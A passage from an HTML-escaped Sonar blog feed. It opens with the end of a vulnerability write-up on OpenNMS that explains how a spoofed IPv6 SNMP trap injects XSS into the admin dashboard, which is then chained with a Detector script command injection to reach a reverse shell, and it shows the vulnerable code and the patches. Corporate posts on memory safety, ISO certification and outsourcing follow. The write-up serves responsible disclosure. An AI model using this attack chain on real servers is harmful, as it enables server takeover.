Infrastructure at its Core&lt;/a&gt; at &lt;a href=&quot;https://www.sonarsource.com/blog/troopers-2023-conference-takeaways/&quot;&gt;TROOPERS23&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we explain how the uncontrollable value becomes controllable and how attackers may leverage the resulting XSS vulnerability with a second vulnerability, an authenticated command injection.&lt;/p&gt;&lt;h3&gt;Unauthenticated XSS (CVE-2023-0846)&lt;/h3&gt;&lt;p&gt;OpenNMS is a monitoring solution that collects data from monitored devices. A standard protocol used for this purpose is SNMP. Usually, the SNMP manager, the OpenNMS server in this case, actively retrieves relevant information from the monitored devices (&lt;strong&gt;SNMP polling&lt;/strong&gt;). However, SNMP also supports a feature called &lt;strong&gt;SNMP trap&lt;/strong&gt;, which allows monitored devices to immediately deliver unrequested information to the SNMP manager. OpenNMS supports this feature via a dedicated SNMP listener. Received traps are converted to an event if the trap is considered meaningful (e.g., the host sending the trap is a monitored device):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0ff8c54c-142b-4e7c-bfbd-e4175f913b4a/opennms_trap_event.png&quot; /&gt;&lt;p&gt;The conversion from a raw SNMP trap to an &lt;strong&gt;Event&lt;/strong&gt; is done based on an XML file, which defines which values from the trap are mapped to attributes of the event:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ad209552-c1bf-4b81-8a06-5007f6415e48/opennms_xml.png&quot; /&gt;&lt;p&gt;In the example shown above, the XML element &lt;code&gt;&amp;lt;descr&amp;gt;&lt;/code&gt; contains a template string, which is used to populate the &lt;code&gt;description&lt;/code&gt; attribute of an Event. This template string can contain placeholder values like &lt;code&gt;%parm[#1]%&lt;/code&gt;, which are replaced with the corresponding values from the SNMP trap. Since this might be an arbitrary value, the resulting description is sanitized before being output on the dashboard:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div class=&quot;card-header&quot;&gt;
  &lt;span&gt;Description&lt;/span&gt;
&lt;/div&gt;
&lt;div class=&quot;card-body&quot;&gt;
  &lt;%=WebSecurityUtils.sanitizeString(event.getDescription(), true)%&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Other than these common Events, important traps are converted into an &lt;strong&gt;Alarm&lt;/strong&gt; instead of an Event:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9e9e6c92-b665-4973-bbed-ee71a6f19ecb/opennms_trap_alarm.png&quot; /&gt;&lt;p&gt;For Alarms, there are additional attributes. One of these is called the &lt;strong&gt;Reduction Key&lt;/strong&gt;. Since Alarms are very noisy, the Reduction Key is used to summarize multiple similar Alarms as one single Alarm. An XML file used to populate the Reduction Key may look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;alarm-data reduction-key=&quot;%uei%:%dpname%:%nodeid%:%interface%&quot; alarm-type=&quot;1&quot; auto-clean=&quot;false&quot;/&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;All placeholder values are internal variables that are not controllable by a remote attacker.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there are also SNMP traps for which the Reduction Key contains placeholder values taken from the SNMP trap:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;alarm-data reduction-key=&quot;uei.opennms.org/nodes/snmp/interfaceOperDown:%dpname%:%nodeid%:%parm[#1]%&quot; alarm-type=&quot;1&quot; auto-clean=&quot;false&quot;&gt;
&lt;/alarm-data&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have already seen that this was obviously not expected since the Reduction Key is not sanitized when being output on the admin dashboard:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;th class=&quot;col-2&quot;&gt;Reduction&amp;nbsp;Key&lt;/th&gt;
&lt;td class=&quot;col-10&quot; colspan=&quot;3&quot;&gt;
  &lt;% if (alarm.getReductionKey() != null) {%&gt;
  &lt;%=alarm.getReductionKey()%&gt;
  &lt;% } else {%&gt;
  &amp;nbsp;
  &lt;% }%&gt;
&lt;/td&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker would still need access to a monitored device in order to control this value since traps from non-monitored devices are discarded. Or is there a way around this?&lt;/p&gt;&lt;h3&gt;Spoofing SNMP Traps&lt;/h3&gt;&lt;p&gt;SNMP relies on the connectionless protocol UDP. Although UDP is superior to the connection-oriented protocol TCP in terms of speed, it is susceptible to spoofing attacks. An attacker can send a fake SNMP trap to OpenNMS with an arbitrary source IP address. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For the trap to be accepted by OpenNMS, the attacker still needs to know the IP address of a monitored device. However, there is a default entry for localhost, which represents the OpenNMS server itself. Thus, if an attacker would be able to spoof an SNMP trap from localhost, this would be accepted regardless of the configured monitored devices.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When sending a spoofed SNMP trap from the IPv4 address &lt;code&gt;127.0.0.1&lt;/code&gt;, though, this trap doesn’t even reach the application:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/feadc3f5-bc51-444d-9f1f-0660aadd730b/opennms_ipv4.png&quot; /&gt;&lt;p&gt;The operating system kernel, which is usually Linux for OpenNMS, drops packets on an external interface originating from localhost. This makes sense since you should not receive a packet originating from localhost on an external interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the SNMP trap is instead encapsulated into an IPv6 packet with the source IP address set to the IPv4-mapped IPv6 address &lt;code&gt;::ffff:127.0.0.1&lt;/code&gt;, the operating system accepts the packet and forwards it to the application:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/671c171b-c1cf-456e-8f3b-bfb1d386f583/opennms_ipv6.png&quot; /&gt;&lt;p&gt;OpenNMS now converts this IP address to localhost and considers this to be a valid SNMP trap from the server itself. A similar approach was documented by Google Project Zero back in 2015 when &lt;a href=&quot;https://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html&quot;&gt;exploiting a buffer overflow in ntpd&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For OpenNMS, this means that an utterly unauthenticated attacker can raise an Alarm and inject an XSS payload into the admin dashboard. Since the payload is part of an urgent Alarm, an admin will very likely view it and trigger the payload.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The payload executed in the context of the admin account gives an attacker access to considerably more attack surfaces. Functionalities of the application, which are only reachable for an authenticated admin, are now open to attacks from a remote threat actor.&lt;/p&gt;&lt;h3&gt;Authenticated Command Injection&lt;/h3&gt;&lt;p&gt;OpenNMS uses &lt;strong&gt;Detectors&lt;/strong&gt; to discover running services on a monitored device. An admin adding a Detector can select its implementation class. The default Detectors do not contain any particular interesting class, but amongst the other implementations in the classpath, there is a class called &lt;code&gt;GpDetector&lt;/code&gt;. This class contains a parameter called &lt;code&gt;script&lt;/code&gt;, which can be set when adding the Detector:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class GpDetector extends BasicDetector&lt;GpRequest, GpResponse&gt;{
   // ...
   private String m_script;
   // ...
   public void setScript(final String script) {
       m_script = script;
   }
   // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once the Detector is added, it can be used to start a discovery, which triggers the &lt;code&gt;connect&lt;/code&gt; method. Within this method, the script parameter is further passed to &lt;code&gt;execRunner.exec&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   public void connect(final InetAddress address, final int port, final int timeout) throws IOException, Exception {
       // ...
       final String script = &quot;&quot; + getScript() + &quot; &quot; + getHoption() + &quot; &quot; + hostAddress + &quot; &quot; + getToption() + &quot; &quot; + convertToSeconds(timeout);
       if (getArgs() == null) setExitStatus(execRunner.exec(script));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Basically, the &lt;code&gt;execRunner.exec&lt;/code&gt; method splits the provided string by spaces and passes the resulting array to &lt;code&gt;Runtime.exec&lt;/code&gt;. Since there are no restrictions on the first element of the array, an attacker can simply provide &lt;code&gt;/bin/bash&lt;/code&gt; followed by the &lt;code&gt;-c&lt;/code&gt; option and an arbitrary string, which is executed as a bash command.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This straightforward command injection vulnerability dramatically increases the impact of the XSS vulnerability, as an attacker can combine both of these to take over an OpenNMS server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7e71540c-19cd-4c2f-8bf8-d72df385f7c6/opennms_exploit.png&quot; /&gt;&lt;ol&gt;&lt;li&gt;The attacker sends a spoofed SNMP trap via IPv6. The source address is set to the IPv4-mapped IPv6 address of localhost (&lt;code&gt;::ffff:127.0.0.1&lt;/code&gt;).&lt;/li&gt;&lt;li&gt;The trap listener receives and accepts this trap as a valid trap from the default host localhost. Due to the severity of the trap, it is converted to an Alarm. When the corresponding XML file is used to create a Reduction Key, the XSS payload, which the attacker placed in the SNMP trap, is injected.&lt;/li&gt;&lt;li&gt;The raised Alarm draws the attention of an admin, who views it on the dashboard.&lt;/li&gt;&lt;li&gt;At this point, the injected JavaScript payload is triggered. The payload adds a custom Detector and initiates a new discovery with this Detector.&lt;/li&gt;&lt;li&gt;This triggers the command inserted into the script attribute, which, for example, establishes a reverse shell to the attacker’s machine.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The patch for the XSS vulnerability is straightforward. Similar to other dynamic values, the value returned by &lt;code&gt;alarm.getReductionKey()&lt;/code&gt; is now also sanitized via the &lt;code&gt;WebSecurityUtils.sanitizeString&lt;/code&gt; method (&lt;a href=&quot;https://github.com/OpenNMS/opennms/commit/e85ef9995658e5768c1b9817cbfd966f7bcf25e6&quot;&gt;commit&lt;/a&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  &lt;% if (alarm.getReductionKey() != null) {%&gt;
-  &lt;%=alarm.getReductionKey()%&gt;
+  &lt;%=WebSecurityUtils.sanitizeString(alarm.getReductionKey())%&gt;
  &lt;% } else {%&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The command injection vulnerability was fixed by limiting script file locations to be located below the OpenNMS home directory (&lt;a href=&quot;https://github.com/OpenNMS/opennms/pull/5676/commits/b4698fd84910e0b778495b4e53733f18506ea1fb&quot;&gt;commit&lt;/a&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   public void connect(final InetAddress address, final int port, final int timeout) throws IOException, Exception {
       // ...
+       if (!ScriptUtil.isDescendantOf(System.getProperty(&quot;opennms.home&quot;), getScript())) {
+           throw new IOException(&quot;The location of the script must not be outside $OPENNMS_HOME.&quot;);
+       }
       // ...&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Key Learnings&lt;/h2&gt;&lt;p&gt;The probably oldest suggestion to secure software is: “Don’t trust user input!”. It seems so obvious that it’s almost annoying to hear this over and over again. But it is still a thing today, even for popular applications. How can this be possible? Are vendors so ignorant that this message hasn’t reached them? Or don’t they just care? Although there are cases like this, even for caring vendors, there is one key challenge here: What data is attacker-controllable?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When directly accessing a URL query parameter, it is self-evident. When retrieving the reduction key of a specific alarm, which happens to contain dynamic data extracted from an SNMP trap, which an attacker can spoof, it might not be so obvious.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s why all variables should be sanitized, escaped, or encoded before being used. Even if a variable is currently not attacker-controllable, a change in the code in some totally different component can falsify this assumption and immediately introduce a vulnerability. Funnily, we have seen a very similar case to this with &lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;LibreNMS&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, let’s change our perspective to the offensive side: How can issues like this be discovered? When you try to break into a house, you can waste hours and hours banging your head at the main door, not noticing that it is much easier to enter the house through a small window on the side, which was left open. Or, you can enter through the chimney. Or, you can dress up as the cleaner, who is let into the house every day. But this is about software and not burglary. And software is much more complex, which opens it to a wide variety of creative attacks. Spending time determining different ways to make the application process your input is absolutely worth it and can unveil critical vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-10-10&lt;/td&gt;&lt;td&gt;We report all issues to the vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-10-11&lt;/td&gt;&lt;td&gt;Vendor confirms receipt of our report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-14&lt;/td&gt;&lt;td&gt;Vendor releases version Horizon 31.0.2 (Stroopwafel)&lt;br&gt;
This version fixes the XSS vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-02-08&lt;/td&gt;&lt;td&gt;Vendor releases version Horizon 31.0.4 (Otap)&lt;br&gt;
This version fixes the command injection vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-02-22&lt;/td&gt;&lt;td&gt;CVE-2023-0846 assigned to XSS vulnerability&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post covered an XSS vulnerability in the monitoring solution OpenNMS. Although a vulnerability like this can be easily prevented, the false assumption of specific data not being controllable by an attacker may tempt developers to omit sanitization. We deep-dived into the ways an attacker may choose in order to take advantage of this. Further, we outlined how this had a critical impact on OpenNMS once combined with another command injection vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The key takeaway from this is: Always sanitize! Code is not static. It evolves over time, and old assumptions may become invalid. That’s why we at Sonar follow a Clean as You Code approach. This ensures that you don’t only achieve Clean Code once but also maintain it throughout the constant evolvement of your application. You can learn more about Clean Code &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to thank the OpenNMS Group for the excellent communication and the patch they provided.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;It’s a (SNMP) Trap: Gaining Code Execution on LibreNMS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[White House emphasizes need for proactive coding practices to counter cyber attacks]]></title><description><![CDATA[The ONCD recent report puts a spotlight on one of the most foundational issues that result in insecure software. Sonar applauds the administration’s call for addressing software vulnerabilities at the programming language and source code levels.

]]></description><link>https://www.sonarsource.com/blog/white-house-emphasizes-need-for-proactive-coding-practices-to-counter-cyber-attacks</link><guid isPermaLink="false">f492bfb4-2d08-535e-9882-7b118d9a41ef</guid><dc:creator><![CDATA[Harry Wang]]></dc:creator><pubDate>Thu, 29 Feb 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/&quot;&gt;announcement&lt;/a&gt; by the White House Office this week calling on the technical community to adopt memory safe programming languages and code analysis techniques is a significant and commendable step toward securing the building blocks of our technology systems. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the leader in helping businesses and developers build secure and reliable software with Clean Code, we applaud the administration’s call for addressing software vulnerabilities at the programming language and source code levels.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://www.whitehouse.gov/wp-content/uploads/2024/02/Final-ONCD-Technical-Report.pdf&quot;&gt;ONCD released report&lt;/a&gt; puts a spotlight on one of the most foundational issues that result in insecure software - on average, there is 1 issue found in every 27 lines of code, based on our experience analyzing billions of lines. The report’s recommendations on memory safety, formal methods such as static code analysis and software measurability, will not only mitigate but eliminate broad categories of software vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Memory safety vulnerabilities and static analysis&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Memory safety vulnerabilities are coding errors that affect the software’s memory management code in which memory can be accessed, written, allocated, or deallocated in unintended ways. Common examples include uninitialized memory allocation, buffer overflow, and lack of memory deallocation after use. When memory is not properly managed, attackers can exploit these vulnerabilities and run malicious code to capture critical data and bring down systems. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Memory safe languages such as C#, Java, Python, Go, Rust, and Swift intrinsically prevent software developers from introducing severe bugs that not only impact stability, productivity, and application performance but also lead to memory-related vulnerabilities that can severely impact the security of software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using these languages is the first step to eliminating risks. Teams building future software should certainly keep memory safe languages top of mind. However, code written in memory risky languages such as C and C++ is still prevalent and especially needs the extra level of scrutiny to prevent memory safety vulnerabilities from escaping. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Fix code issues as early as possible&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every organization today needs to inspect its software development processes and take immediate, proactive steps to secure its systems. This includes incorporating rigorous analysis methods – code reviews and formal methods like static analysis practices as recommended by the ONCD – along with the enforcement of quality standards into the development workflow for greater assurance of the quality of output.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, many organizations today are not able to take sufficient steps to mitigate the risk of low-quality software either because they simply aren’t aware of the risks they carry with existing processes, or often are not able to prioritize until deemed necessary. The lack of focus on this fundamental problem exacerbates the risks. As the report states, the responsibility really starts with the board of directors, the CEO, CTO, CIO. There’s no better or more urgent time to prioritize this at the organizational level than today. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We, at Sonar, are committed to helping businesses and developers write and maintain Clean Code. For over 15 years, the company has focused on doing exactly that – investing in R&amp;amp;D to continually improve the breadth, depth, accuracy, and speed of our code analysis products so that the software deployed by our users is reliable, maintainable, and secure. Sonar enables thorough analysis of code with an exhaustive set of 5K+ &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;static analysis rules&lt;/a&gt; covering 30+ programming languages. These include memory-safe as well as memory-risky languages. Since Sonar solutions (&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;) are an integral part of the software development workflow, our users can detect and remedy catastrophic faults (including memory related issues) earlier and during code development, rather than any later in the workflow.   &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the complexity and volume of code increases exponentially with the use of &lt;a href=&quot;https://www.sonarsource.com/solutions/ai/&quot;&gt;AI coding assistants&lt;/a&gt;, we at Sonar strongly advocate the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; approach to software development that focuses on discovering and remediating issues as a developer writes code, coupled with organization or project level Quality Gates that set standards for the development teams. The secure-by-design practice, which starts with writing high-quality and secure code, fosters a strong level of confidence in the deployed application. On top of this, being able to trace and report findings that the deployed software has followed the best coding practices, is a necessity for auditors and compliance officers of many organizations. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Concluding thoughts&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The challenges with insecure software will continue to rise. I commend the administration’s efforts to tackle this complex problem and shine a light on the root causes and solutions. By adopting memory-safe programming languages, Clean Code principles, and continuous code quality analysis to reduce tech debt, organizations can prevent security incidents, reduce risk exposures, and improve the availability of their applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar is here to help secure every line of code. Learn more about how you can incorporate clean coding practices in your software development. &lt;a href=&quot;https://www.sonarsource.com/&quot;&gt;https://www.sonarsource.com/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar Reaffirms Strength of its Information Security Management Systems by Earning The Latest ISO Certification, ISO27001:2022 ]]></title><description><![CDATA[As part of our continuously advancing and improving security practice, we are pleased to announce that Sonar and its products are now certified to the latest version of the ISO72001 standard.]]></description><link>https://www.sonarsource.com/blog/sonar-reaffirms-strength-of-its-ISMS-by-earning-the-latest-iso-certification-iso27001-2022</link><guid isPermaLink="false">19005a17-87c9-57df-8a98-5e846c4f9137</guid><dc:creator><![CDATA[Andrea Malagodi]]></dc:creator><pubDate>Tue, 27 Feb 2024 14:30:00 GMT</pubDate><content:encoded>&lt;p&gt;At Sonar, we believe that adhering to the highest quality and security standards shouldn&amp;#x27;t just be rooted in finding problems once they’ve already occurred, but should also be about preventing problems in the first place. Of course, this is at the core of our Clean Code mission, but it also extends to the way we operate our information security team internally. Our security team works diligently to make the prevention of cyber events and the reduction of risk a top priority. Most recently, this commitment has been demonstrated by our certification to the ISO27001:2022 standard.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our continuously advancing and improving security practice, we are pleased to announce that Sonar and its products are now certified to the latest version of the ISO72001 standard. Version 2022 is designed to address the evolving information security and cybersecurity landscape and includes new controls for areas such as Threat Intelligence and Information security for the use of cloud services. Plus we are particularly pleased to see a stronger focus on Secure coding. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As the digital landscape continues to expand, so too do we have to expand the systems that we have set up to safeguard the data we collect, store, and manage, and increasingly so. Especially as the adoption of AI continues to increase in a number of ways, from content gen and synthesis, to chat and customer service, and more. Every industry is evolving, quickly, and more and more customers are moving through different channels that can possibly put sensitive information in harm&amp;#x27;s way. This is why our internal security team and overall company, which values quality and security, are excited to be certified with the ISO27001:2022 standard, giving our customers confidence in our security measures to protect and defend their data.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Certification ISO 27001:2022 doesn’t just recognize our ISMS efforts, it reflects our values — transparency and continuous improvement to support our community and make tomorrow&amp;#x27;s innovations possible. Completing the rigorous certification also reflects our proactivity to maintain security and prevent risk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To meet your Vendor Management requirements, the latest certificates can be downloaded from our &lt;a href=&quot;https://www.sonarsource.com/trust-center/&quot;&gt;Trust Center&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How timely delivery comes from transparent outsourced software development communication]]></title><description><![CDATA[Ineffective communication impacts everything in software development. To ensure your next project meets expectations, transparent communication is essential for driving timely delivery when working with internal and external development teams.]]></description><link>https://www.sonarsource.com/blog/how-timely-delivery-comes-from-transparent-outsourced-software-development-communication</link><guid isPermaLink="false">abfa5e6f-67b4-5c6d-9f68-d5d31e201072</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 27 Feb 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It’s the night before one of the biggest releases in the history of your company. From the beginning, everything went wrong. Ambiguous project requirements and priorities, excess time spent on fixing issues rather than committing code, and a strained relationship with your outsourced team were just a few of the challenges. At this point, it’s a miracle that it’s finally time to release. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you could go back to the beginning, what would you change? You can trace many of these challenges back to communication. &lt;a href=&quot;https://32a20588.isolation.zscaler.com/profile/069f6bc6-ea57-492d-adee-1b4631dc6b88/zia-session/?controls_id=06403e0f-7723-4ef8-bf68-aad80b0f6b13&amp;region=was&amp;tenant=a4e9c4ededc5&amp;user=d7faaa036b2f9b6ca8f6dacbf7daeb247f6dbf32d652de02434611254536c41e&amp;original_url=https%3A%2F%2Fwww.statista.com%2Ftopics%2F1900%2Fit-outsourcing%2F%23topicOverview&amp;key=sh-1&amp;hmac=03e324246a33ba843bf01ff047d502ac2e4e3e6d606dfb72c324718437497940&quot;&gt;According to Statista&lt;/a&gt;, 50% of outsourced projects fall short of client expectations, with 30% attributing the shortfall to poor communication with the outsourcing provider. Ineffective communication impacts everything from writing code to conducting meetings, overcoming delays, and establishing trust among teams, which hinders the ability to release altogether. To ensure your next project meets expectations, consider adding the following communication tactics to your plan. In this blog, we will delve into how transparent communication drives timely delivery in outsourced software development.&lt;/p&gt;&lt;h3&gt;Start with a clear understanding of the project&lt;/h3&gt;&lt;p&gt;Transparent communication starts with a thorough understanding of the project at hand. When outsourcing software development, both the client and the development team (internal and outsourced) must have a shared understanding of the project scope, objectives, requirements, processes, and tools needed to deliver the project successfully. Open and honest discussions during the initial phases of the collaboration help avoid misunderstandings and ensure the development team is well-equipped to produce the desired outcomes. This leads to the next tactic.&lt;/p&gt;&lt;h3&gt;Establish a standard for code quality&lt;/h3&gt;&lt;p&gt;For various reasons, sharing a &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;standard for writing high-quality code&lt;/a&gt; is essential when working with outsourced development teams. A consistent code standard ensures readability and maintainability, allowing developers to comprehend and modify code more easily. This promotes collaboration and productivity, as internal and outsourced team members can work efficiently while adhering to a shared set of best practices. Adopting a code quality standard reduces the likelihood of bugs and defects, facilitating early detection and correction during development. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/code-review/&quot;&gt;Code reviews&lt;/a&gt; become more focused and effective as developers have an apparent reference for evaluating and improving code. Consistency across the codebase is achieved, making the software more robust, scalable, and adaptable to future changes. Furthermore, a standardized codebase supports easier onboarding of new developers and enhances client satisfaction by delivering a reliable and maintainable product. Overall, communicating a standard for code quality is a foundational element that contributes to the longevity and success of software projects. Now, it’s time to take action.&lt;/p&gt;&lt;h3&gt;Reinforce your standard for code quality&lt;/h3&gt;&lt;p&gt;Simply communicating your code standards isn’t enough; it’s equally as important to reinforce these standards within the development workflow. Ensure that your internal and outsourced teams understand that a code standard enables early identification of issues in the development process and ultimately helps their productivity and efficiency. When challenges are identified promptly, they can be addressed promptly, preventing them from escalating and causing delays in the project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/solution-briefs/sonarqube/&quot;&gt;Automatic code analysis&lt;/a&gt; on branches and Pull Requests helps developers proactively detect and resolve issues before merging code. You can take this one step further by establishing &lt;a href=&quot;https://www.sonarsource.com/solutions/quality/&quot;&gt;quality gates&lt;/a&gt; to ensure code that’s not up to quality standards does not pass to production to avoid adding to &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Issues are inevitable in any software development project, but setting and reinforcing a code standard can help proactively prevent them. Transparent communication ensures that issues are addressed promptly. Timely issue detection with clear code quality standards enables your team to assess the situation, provide the necessary support, and collectively devise strategies for resolution, preventing delays from snowballing.&lt;/p&gt;&lt;h3&gt;Foster feedback-driven continuous improvement&lt;/h3&gt;&lt;p&gt;Feedback-driven continuous improvement is a critical communication tactic for supporting smooth and efficient &lt;a 